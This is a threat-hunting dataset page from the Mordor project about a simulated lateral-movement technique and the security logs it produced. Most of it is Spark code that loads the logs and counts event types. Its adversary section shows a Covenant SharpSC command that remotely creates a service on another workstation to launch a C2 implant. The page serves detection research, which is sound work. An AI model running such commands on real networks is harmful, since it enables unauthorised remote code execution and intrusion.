Covenant SharpSC Create

Metadata

Author

Roberto Rodriguez @Cyb3rWard0g

Creation Date

2020/08/06

Modification Date

2020/09/20

Tactics

[‘TA0008’]

Techniques

[‘T1021.002’]

Tags

[‘RPC CreateService’, ‘SMB Svcctl’]

Dataset Description

This dataset represents adversaries remotely creating a service via RPC methods such as CreateService over SMB named pipes such as svcctl.

Notebooks

Notebooks created by the community leveraging the mordor datasets

Author

Name

Link

Simulation Plan

Environment

Tool Type

Module

Mordor shire

C2

SharpSC

Adversary View

(wardog) > SharpSC /command:"action=create computername=WORKSTATION6 service=Cyb3rWard0g displayname=OTR binpath=C:\Windows\System32\GruntHTTP2.exe"

[-] Error uninstalling Cyb3rWard0g on WORKSTATION6. Reason: ServiceHandle is invalid.

[*] Attempting to create service Cyb3rWard0g on WORKSTATION6...

[*] Created Cyb3rWard0g Service on WORKSTATION6

Explore Mordor Dataset

Initialize Analytics Engine

from openhunt.mordorutils import *
spark = get_spark()

Download & Process Mordor File

mordor_file = "https://raw.githubusercontent.com/OTRF/mordor/master/datasets/small/windows/lateral_movement/host/covenant_sharpsc_create_dcerpc_smb_svcctl.zip"
registerMordorSQLTable(spark, mordor_file, "mordorTable")
[+] Processing a Spark DataFrame..
[+] DataFrame Returned !
[+] Temporary SparkSQL View: mordorTable 

Get to know your data

df = spark.sql(
'''
SELECT Hostname,Channel,EventID, Count(*) as count
FROM mordorTable
GROUP BY Hostname,Channel,EventID
ORDER BY count DESC
'''
)
df.show(truncate=False)
+---------------------------+------------------------------------+-------+-----+
|Hostname                   |Channel                             |EventID|count|
+---------------------------+------------------------------------+-------+-----+
|WORKSTATION5.theshire.local|Microsoft-Windows-Sysmon/Operational|10     |1032 |
|WORKSTATION6.theshire.local|Microsoft-Windows-Sysmon/Operational|10     |602  |
|WORKSTATION5.theshire.local|Microsoft-Windows-Sysmon/Operational|7      |260  |
|WORKSTATION5.theshire.local|Microsoft-Windows-Sysmon/Operational|12     |234  |
|WORKSTATION5.theshire.local|Security                            |4703   |124  |
|WORKSTATION6.theshire.local|Security                            |4656   |93   |
|MORDORDC.theshire.local    |Security                            |4658   |88   |
|WORKSTATION5.theshire.local|Microsoft-Windows-Sysmon/Operational|13     |76   |
|MORDORDC.theshire.local    |Security                            |5156   |60   |
|WORKSTATION5.theshire.local|Security                            |5156   |54   |
|MORDORDC.theshire.local    |Microsoft-Windows-Sysmon/Operational|10     |53   |
|WORKSTATION5.theshire.local|Security                            |5158   |50   |
|MORDORDC.theshire.local    |Microsoft-Windows-Sysmon/Operational|3      |46   |
|MORDORDC.theshire.local    |Security                            |4663   |40   |
|MORDORDC.theshire.local    |Security                            |4656   |40   |
|MORDORDC.theshire.local    |Security                            |4690   |40   |
|MORDORDC.theshire.local    |Microsoft-Windows-Sysmon/Operational|12     |37   |
|WORKSTATION6.theshire.local|Security                            |5156   |37   |
|MORDORDC.theshire.local    |Security                            |5158   |33   |
|WORKSTATION5.theshire.local|Security                            |4658   |30   |
+---------------------------+------------------------------------+-------+-----+
only showing top 20 rows